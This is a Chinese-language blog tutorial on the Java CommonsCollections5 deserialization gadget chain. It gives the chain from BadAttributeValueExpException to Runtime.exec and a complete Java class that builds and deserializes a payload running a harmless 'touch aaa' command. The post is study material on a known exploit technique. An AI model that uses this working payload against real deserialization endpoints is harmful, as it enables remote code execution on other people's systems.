Java反序列化之CC5

CC5

参考:https://www.cnblogs.com/1vxyz/p/17473581.html
环境:jdk8u65 && Commons-collections 3.2.1
适用:需要SecurityManager关闭(默认关闭)jdk11也可利用 jdk15失败
实际上是CC1_LazyMap的一个变种 所以没通过恶意类加载 而是Runtime命令执行 和CC6的TiedMapEntry::hashCode()触发不同 CC5用的是TiedMapEntry::toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject() ->
BadAttributeValueExpException.readObject() ->
TiedMapEntry.toString() ->
LazyMap.get() ->
ChainedTransformer.transform() ->
ConstantTransformer.transform() ->
InvokerTransformer.trnansform() ->
Method.invoke() ->
Class.getMethod() ->
InvokerTransformer.transform() ->
Method.invoke() ->
Runtime.getRuntime() ->
InvokerTransformer.transform() ->
Method.invoke() ->
Runtime.exec()


可以看到toString()会调用getValue() 和上面的hashCode()是一样的
接下来就是找哪里调用了toString() 由于有点多 所以直接上作者找到的BadAttributeValueExpException

根据BadAttributeValueExpException::readObject()的逻辑 我们只需要实例化一个BadAttributeValueExpException实例 然后反射修改它唯一的属性val的值就可以了

因为实例化的时候就会调用toString() 所以最好还是反射修改 这样更加直观
payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class cc5 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"touch aaa"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//tiedMapEntry.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

Class c = badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

// serialize(badAttributeValueExpException);
unserialize("sercc5.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

Java反序列化之CC5
http://example.com/2025/04/08/Java反序列化之CC5/
作者
Jednersaous
发布于
2025年4月8日
许可协议